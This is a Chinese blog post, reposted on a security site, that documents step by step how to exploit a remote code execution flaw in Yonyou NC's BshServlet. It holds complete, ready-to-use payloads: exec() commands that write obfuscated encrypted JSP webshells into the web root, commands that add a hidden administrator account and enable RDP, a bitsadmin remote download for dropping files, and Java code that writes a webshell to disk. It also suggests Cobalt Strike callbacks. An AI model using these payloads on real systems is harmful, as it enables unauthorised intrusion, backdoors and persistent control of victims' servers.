【漏洞复现】用友 NC bsh.servlet.BshServlet RCE 利用方法

admin 2023年3月8日16:36:23【漏洞复现】用友 NC bsh.servlet.BshServlet RCE 利用方法已关闭评论388 views字数 7307阅读24分21秒阅读模式


图片前言

最近项目中遇到了用友 NC bsh.servlet.BshServlet这个漏洞,因此记录一下利用过程。

图片

利用过程

通过echo写入webshell(true)

能命令执行了,首先是想着要上webshell,通过webshell方便我们做更多的操作。

错误写法

通常windows系统通过命令执行漏洞,写入webshell的方案是将webshell中的<>变成^<^>,然后再写入。

比如冰蝎的原始马,通过命令执行写入的方式如下:

plaintext

1
echo  ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > D:\1.jsp

图片

但对于bsh rce而言,这里存在一个转义问题。即需要把"进行转义,否则就会写入失败。

图片

plaintext

1
exec("echo ^<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > D:\\xxx\\webapps\\nc_web\\1.jsp");

但实际结果是想法很美好,现实很残酷,不知道什么原因,写入失败了。

图片

正确写法

此方法是f1r3K0师傅教的。

此处用的webshell来自于https://github.com/Tas9er/ByPassBehinder

plaintext

1
\"><%@page import=\"sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random\" %><%! class govPkEEwdoozySiL3E extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {govPkEEwdoozySiL3E(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 govXua) {super(govXua);}public Class gov4k6(byte[] govR5DPQ) {return super.d\uuuuuuuuu0065fineClass/*govpmXukgv*/(govR5DPQ,0,govR5DPQ.length);}}%><%out.println(\"Random Garbage Data:\");Random govjE4OZjT6dsj = new Random();int govexbQJjny = govjE4OZjT6dsj.nextInt(1234);int govVoMJHvNbM = govjE4OZjT6dsj.nextInt(5678);int govXM8ClK = govjE4OZjT6dsj.nextInt(1357);int govAVeIPtBmc = govjE4OZjT6dsj.nextInt(2468);out.println(govexbQJjny+\",\"+govVoMJHvNbM+\",\"+govXM8ClK+\",\"+govAVeIPtBmc);String[] govGPaXMZ9RC = new String[]{\"A\", \"P\", \"B\", \"O\", \"C\", \"S\", \"D\", \"T\"};String govdSxidE = govGPaXMZ9RC[1] + govGPaXMZ9RC[3] + govGPaXMZ9RC[5] + govGPaXMZ9RC[7];if (request.getMethod().equals(govdSxidE)) {String govQgB4OeRejyK5U = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072()/*govJ5l9v6AbXE8a6*/./*gov7*/decodeBuffer/*govmIp7*/(\"MTZhY2FjYzA1YWFmYWY2Nw==\"));session.setAttribute(\"u\", govQgB4OeRejyK5U);Cipher govGk91RlL = Cipher.getInstance(\"AES\");govGk91RlL.init(((govexbQJjny * govVoMJHvNbM + govXM8ClK - govAVeIPtBmc) * 0) + 3 - 1, new SecretKeySpec(govQgB4OeRejyK5U.getBytes(), \"AES\"));new govPkEEwdoozySiL3E(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).gov4k6(govGk91RlL.doFinal(new sun.misc./*govVz*/B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*govlnLTHdcPcAM*/decodeBuffer(request.getReader().readLine()))).newInstance()/*govzTPOMyCVHRP*/.equals(pageContext);}%><\"

最终payload应该是

plaintext

1
2
exec("cmd /c echo \"><%@page import=\"sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random\" %><%! class govPkEEwdoozySiL3E extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {govPkEEwdoozySiL3E(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 govXua) {super(govXua);}public Class gov4k6(byte[] govR5DPQ) {return super.d\uuuuuuuuu0065fineClass/*govpmXukgv*/(govR5DPQ,0,govR5DPQ.length);}}%><%out.println(\"Random Garbage Data:\");Random govjE4OZjT6dsj = new Random();int govexbQJjny = govjE4OZjT6dsj.nextInt(1234);int govVoMJHvNbM = govjE4OZjT6dsj.nextInt(5678);int govXM8ClK = govjE4OZjT6dsj.nextInt(1357);int govAVeIPtBmc = govjE4OZjT6dsj.nextInt(2468);out.println(govexbQJjny+\",\"+govVoMJHvNbM+\",\"+govXM8ClK+\",\"+govAVeIPtBmc);String[] govGPaXMZ9RC = new String[]{\"A\", \"P\", \"B\", \"O\", \"C\", \"S\", \"D\", \"T\"};String govdSxidE = govGPaXMZ9RC[1] + govGPaXMZ9RC[3] + govGPaXMZ9RC[5] + govGPaXMZ9RC[7];if (request.getMethod().equals(govdSxidE)) {String govQgB4OeRejyK5U = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072()/*govJ5l9v6AbXE8a6*/./*gov7*/decodeBuffer/*govmIp7*/(\"MTZhY2FjYzA1YWFmYWY2Nw==\"));session.setAttribute(\"u\", govQgB4OeRejyK5U);Cipher govGk91RlL = Cipher.getInstance(\"AES\");govGk91RlL.init(((govexbQJjny * govVoMJHvNbM + govXM8ClK - govAVeIPtBmc) * 0) + 3 - 1, new SecretKeySpec(govQgB4OeRejyK5U.getBytes(), \"AES\"));new govPkEEwdoozySiL3E(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).gov4k6(govGk91RlL.doFinal(new sun.misc./*govVz*/B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*govlnLTHdcPcAM*/decodeBuffer(request.getReader().readLine()))).newInstance()/*govzTPOMyCVHRP*/.equals(pageContext);}%><\" > webapps/nc_web/123.jsp");

可简化为

plaintext

1
exec("cmd /c echo \"> 转义双引号(")的webshell <\" > webapps/nc_web/123.jsp");

图片

执行后,将会在网站根目录留下一个叫123.jspwebshell文件。

图片

用冰蝎连接也是没有问题的。

图片

创建账号访问RDP(false)

其实这个时候,可以直接创建RDP账号的。但是要求RDP的端口处于开放状态。

图片

创建账号adm1n,并加入管理员组

plaintext

1
2
net user adm1n adm1n@123 /add
net localgroup administrators adm1n /add

查询RDP是否开放

plaintext

1
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

图片

查询RDP端口

plaintext

1
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

图片

开启RDP服务

plaintext

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

实际上测试后发现,到注册表这部分命令时,又有错误产生,因此这个方法也得放弃。

图片

直接上线CS(false)

通过powershell反弹权限到cs上是一种方法。

图片

通过远程下载exe上线cs也是一种方法

主要是通过bitsadmincertutil这类命令去远程下载。

但是如果有杀软,exe不免杀,这就又是一个问题了,并且绝大多数杀软是会拒绝你远程下载二进制文件的。

远程下载jsp webshell(true)

plaintext

1
bitsadmin /rawreturn /transfer n https://www.baidu.com/img/flexible/logo/pc/result.png D:\\result.png

图片

图片

测试后,发现此方法对于写webshell是没有问题的,远程下载exe是不行的。

但是此方法只针对出网环境,如果不出网该怎么处理了,后面就想到,能否通过java代码去写入webshell

通过java文件流写入jsp webshell(true)

直接贴代码了

plaintext

1
2
3
4
5
6
7
8
import sun.misc.BASE64Decoder;

BASE64Decoder decoder = new BASE64Decoder();
FileWriter fw = new FileWriter(new File("./webapps/nc_web/123.jsp"));
String data = "MTIz";
String str = new String(decoder.decodeBuffer(data), "utf-8");
fw.write(str);
fw.close();

写入webshell

图片

访问webshell

图片

通过此方法是最优解,不需要通过远程下载jsp,也可写入webshell

实际上这里也可以直接去写入exe,没时间尝试了,要去洗澡了。

总结

要多积累一下不同方式写shell的优缺点,方便在测试过程中快速获取敏感信息。

理论上2.22.3的方法也是可以利用的,前提是要求闭合和转义的问题能搞定。

另外此处能直接执行java代码,也就是说可以通过java代码加载shellcode的方式去上线CS

另外在之前洗完澡后,尝试了exe落地。即exehex,在用javabyte数组exe文件落地的方法不推荐,我尝试过一个一个hello world二进制程序转成hex,结果是有8000多行的byte,这么大的数据发送到服务器,很容易造成拒绝服务攻击,建议不尝试。通过2.1.22.42.5的方法写入webshell即可。

鉴于作者技术不行,以后看情况更新此处漏洞利用的方式。

Author: jdr

Link: https://jdr2021.github.io/2022/06/14/用友-NC-bsh-servlet-BshServlet-RCE-利用方法/

Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

利刃信安攻防实验室是一家专业的网络安全公司,致力于提供高效、可靠的网络安全服务。我们拥有多年的网络安全攻防经验和专业技术团队,为企业提供全面的网络安全解决方案。我们的服务范围涵盖等保、软测、密评、风评、渗透等项目合作,能够为企业提供一站式的网络安全服务。

我们的专业团队具备丰富的行业经验和先进的技术,能够为企业提供优质的服务。我们的渗透测试服务可以帮助企业发现网络安全漏洞,制定有效的安全策略,保障企业的信息安全。我们的等保评估服务可以帮助企业满足政府等保要求,保护企业的核心数据。

此外,我们还提供各种网络安全证书培训考证,能够帮助企业提高员工的安全意识和技能水平,从而提高企业的整体安全水平。

如果您需要网络安全服务或者网络安全培训考证,欢迎联系利刃信安攻防实验室。我们将竭诚为您服务,保护您的信息安全。

图片

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日16:36:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】用友 NC bsh.servlet.BshServlet RCE 利用方法https://cn-sec.com/archives/1592175.html